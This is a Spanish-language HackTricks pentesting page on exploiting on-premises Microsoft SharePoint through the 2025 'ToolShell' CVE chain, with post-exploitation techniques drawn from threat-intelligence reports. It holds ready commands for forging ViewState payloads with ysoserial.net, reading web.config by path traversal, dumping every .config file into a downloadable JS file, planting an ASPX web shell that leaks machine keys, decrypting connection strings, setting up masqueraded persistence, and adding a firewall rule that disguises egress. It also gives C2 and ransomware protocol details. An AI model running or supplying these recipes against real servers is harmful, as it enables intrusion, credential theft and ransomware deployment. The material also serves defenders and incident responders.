Microsoft SharePoint – Pentesting & Exploitation
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Microsoft SharePoint (on-premises) está construido sobre ASP.NET/IIS. La mayoría de la superficie de ataque web clásica (ViewState, Web.Config, web shells, etc.) está por tanto presente, pero SharePoint también incluye cientos de páginas ASPX propietarias y servicios web que aumentan dramáticamente la superficie de ataque expuesta. Esta página recopila trucos prácticos para enumerate, exploit y persist dentro de entornos SharePoint con énfasis en la 2025 exploit chain divulgada por Unit42 (CVE-2025-49704/49706/53770/53771).
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. Cadena de explotación 2025 (a.k.a. “ToolShell”)
2.1 CVE-2025-49704 – Inyección de código en ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> permite inyectar código Server-Side Include arbitrario en la página que luego es compilado por ASP.NET. Un atacante puede incrustar C# que ejecuta Process.Start() y colocar un ViewState malicioso.
2.2 CVE-2025-49706 – Bypass de autenticación indebido
La misma página confía en el encabezado X-Forms_BaseUrl para determinar el contexto del sitio. Apuntándolo a /_layouts/15/, se puede omitir MFA/SSO aplicado en el sitio raíz sin autenticación.
2.3 CVE-2025-53770 – Deserialización de ViewState sin autenticación → RCE
Una vez que el atacante controla un gadget en ToolPane.aspx, puede enviar un valor __VIEWSTATE sin firmar (o solo con MAC) que desencadena la deserialización de .NET dentro de w3wp.exe, lo que conduce a la ejecución de código.
Si la firma está habilitada, roba la ValidationKey/DecryptionKey de cualquier web.config (ver 2.4) y forja la carga útil con ysoserial.net o ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
For an in-depth explanation on abusing ASP.NET ViewState read:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure
Sending a crafted Source parameter to ToolPane.aspx (e.g. ../../../../web.config) returns the targeted file, allowing leakage of:
<machineKey validationKey="…" decryptionKey="…">➜ forge ViewState / ASPXAUTH cookies- connection strings & secrets.
2.5 ToolShell workflow observed in Ink Dragon intrusions
Check Point mapped how Ink Dragon operationalised the ToolShell chain months before Microsoft shipped fixes:
- Header spoofing for auth bypass – the actor sends POSTs to
/_layouts/15/ToolPane.aspxwithReferer: https://<victim>/_layouts/15/plus a fakeX-Forms_BaseUrl. Those headers convince SharePoint that the request originates from a trusted layout and completely skip front-door authentication (CVE-2025-49706/CVE-2025-53771). - Serialized gadget in the same request – the body includes attacker-controlled ViewState/ToolPart data that reaches the vulnerable server-side formatter (CVE-2025-49704/CVE-2025-53770). The payload is usually a ysoserial.net chain that runs inside
w3wp.exewithout ever touching disk. - Internet-scale scanning – telemetry from July 2025 shows them enumerating every reachable
/_layouts/15/ToolPane.aspxendpoint and replaying a dictionary of leaked<machineKey>pairs. Any site that copied a samplevalidationKeyfrom documentation can be compromised even if it is otherwise fully patched (see the ViewState page for the signing workflow). - Immediate staging – successful exploitation drops a loader or PowerShell stager that: (1) dumps every
web.config, (2) plants an ASPX webshell for contingency access, and (3) schedules a local Potato privesc to escape the IIS worker.
3. Post-exploitation recipes observed in the wild
3.1 Exfiltrate every .config file (variation-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
El archivo resultante debug_dev.js se puede descargar de forma anónima y contiene toda la configuración sensible.
3.2 Desplegar un Base64-encoded ASPX web shell (variation-2)
powershell.exe -EncodedCommand <base64>
Ejemplo de payload decodificado (acortado):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Escrito en:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
The shell exposes endpoints to read / rotate machine keys which allows forging ViewState and ASPXAUTH cookies across the farm.
3.3 Variante ofuscada (variation-3)
Mismo shell pero:
- colocado en
...\15\TEMPLATE\LAYOUTS\ - nombres de variables reducidos a letras individuales
Thread.Sleep(<ms>)agregado para sandbox-evasion y timing-based AV bypass.
3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (observado 2025-2026)
Investigaciones recientes de incident response (Unit42 “Project AK47”) muestran cómo los atacantes aprovechan la cadena ToolShell después de la RCE inicial para desplegar un implante C2 de canal dual y ransomware en entornos SharePoint:
AK47C2 – variante dnsclient
- Servidor DNS codificado (hard-coded):
10.7.66.10que se comunica con el dominio autoritativoupdate.updatemicfosoft.com. - Los mensajes son objetos JSON XOR-encriptados con la clave estática
VHBD@H, codificados en hex y embebidos como etiquetas de subdominio.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Las consultas largas se fragmentan y se prefijan con
s, luego se reensamblan en el lado del servidor. - El servidor responde en registros TXT que portan el mismo esquema XOR/hex:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- La versión 202504 introdujo un formato simplificado
<COMMAND>::<SESSION_KEY>y marcadores de fragmento1,2,a.
AK47C2 – variante httpclient
- Reutiliza la misma rutina JSON & XOR pero envía el blob hex en el HTTP POST body vía
libcurl(CURLOPT_POSTFIELDS, etc.). - Mismo flujo tarea/resultado que permite:
- Ejecución arbitraria de comandos shell.
- Intervalo de sleep dinámico e instrucciones de kill-switch.
X2ANYLOCK ransomware
- Payload C++ de 64-bit cargado mediante DLL side-loading (ver más abajo).
- Emplea AES-CBC para los datos de archivo + RSA-2048 para envolver la clave AES, luego añade la extensión
.x2anylock. - Encripta recursivamente discos locales y SMB shares descubiertos; omite rutas del sistema.
- Deja una nota en claro
How to decrypt my data.txtque incluye un Tox ID estático para negociaciones. - Contiene un kill-switch interno:
if (file_mod_time >= "2026-06-06") exit(0);
Cadena de DLL side-loading
- El atacante escribe
dllhijacked.dll/My7zdllhijacked.dlljunto a un7z.exelegítimo. - El
w3wp.exegenerado por SharePoint lanza7z.exe, que carga la DLL maliciosa debido al orden de búsqueda de Windows, invocando el entrypoint del ransomware en memoria. - Se observó un loader de LockBit separado (
bbb.msi➜clink_x86.exe➜clink_dll_x86.dll) que descifra shell-code y realiza DLL hollowing end3dl1.dllpara ejecutar LockBit 3.0.
[!INFO] El mismo Tox ID estático encontrado en X2ANYLOCK aparece en leaked LockBit databases, lo que sugiere solapamiento entre afiliados.
3.5 Convertir el loot de SharePoint en movimiento lateral
- Descifrar cada sección protegida – una vez asentado en el web tier, abusa de
aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri(o-px "appSettings") para volcar los secretos en claro que se esconden detrás de<connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">. Ink Dragon recolectó repetidamente SQL logins, SMTP relays y credenciales de servicios personalizados de esta forma. - Reciclar cuentas de app-pool entre granjas – muchas empresas reutilizan la misma cuenta de dominio para
IIS APPPOOL\SharePointen cada front-end. Después de descifrar los bloquesidentity impersonate="..."o leerApplicationHost.config, prueba la credencial vía SMB/RDP/WinRM en cada servidor hermano. En múltiples incidentes la cuenta también era administrador local, permitiendopsexec,sc create, o staging de tareas programadas sin desencadenar password sprays. - Abusar de leaked
<machineKey>values internamente – incluso si el perímetro de internet es parcheado, reutilizar el mismovalidationKey/decryptionKeypermite explotación lateral de ViewState entre zonas internas de SharePoint que se confían mutuamente.
3.6 Patrones de persistencia observados en intrusiones de 2025
- Tareas programadas – se crea una tarea de una sola ejecución llamada
SYSCHECK(u otros nombres con temática de salud) con/ru SYSTEM /sc once /st <hh:mm>para bootstrapear el loader de la siguiente fase (comúnmente unconhost.exerenombrado). Debido a que se ejecuta una sola vez, la telemetría a menudo la pasa por alto a menos que se preserve el XML histórico de la tarea. - Servicios enmascarados – servicios como
WindowsTempUpdate,WaaSMaintainer, oMicrosoftTelemetryHostse instalan víasc createapuntando al directorio de la tríada de sideloading. Los binarios conservan sus firmas originales AMD/Realtek/NVIDIA pero se renombran para coincidir con componentes de Windows; comparar el nombre en disco con el campo PEOriginalFileNamees una verificación rápida de integridad.
3.7 Degradaciones del firewall del host para tráfico de relay
Ink Dragon añade rutinariamente una regla saliente permisiva que se hace pasar por mantenimiento de Defender para que el tráfico de ShadowPad/FinalDraft pueda salir por cualquier puerto:
netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any
Debido a que la regla se crea localmente (no vía GPO) y utiliza el binario legítimo Defender como program=, la mayoría de las líneas base del SOC la ignoran; sin embargo, abre un egress Any ➜ Any.
Trucos relacionados
- IIS post-exploitation & web.config abuse:
IIS - Internet Information Services
Referencias
- Unit42 – Active Exploitation of Microsoft SharePoint Vulnerabilities
- GitHub PoC – ToolShell exploit chain
- Microsoft Security Advisory – CVE-2025-49704 / 49706
- Unit42 – Project AK47 / SharePoint Exploitation & Ransomware Activity
- Microsoft Security Advisory – CVE-2025-53770 / 53771
- Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


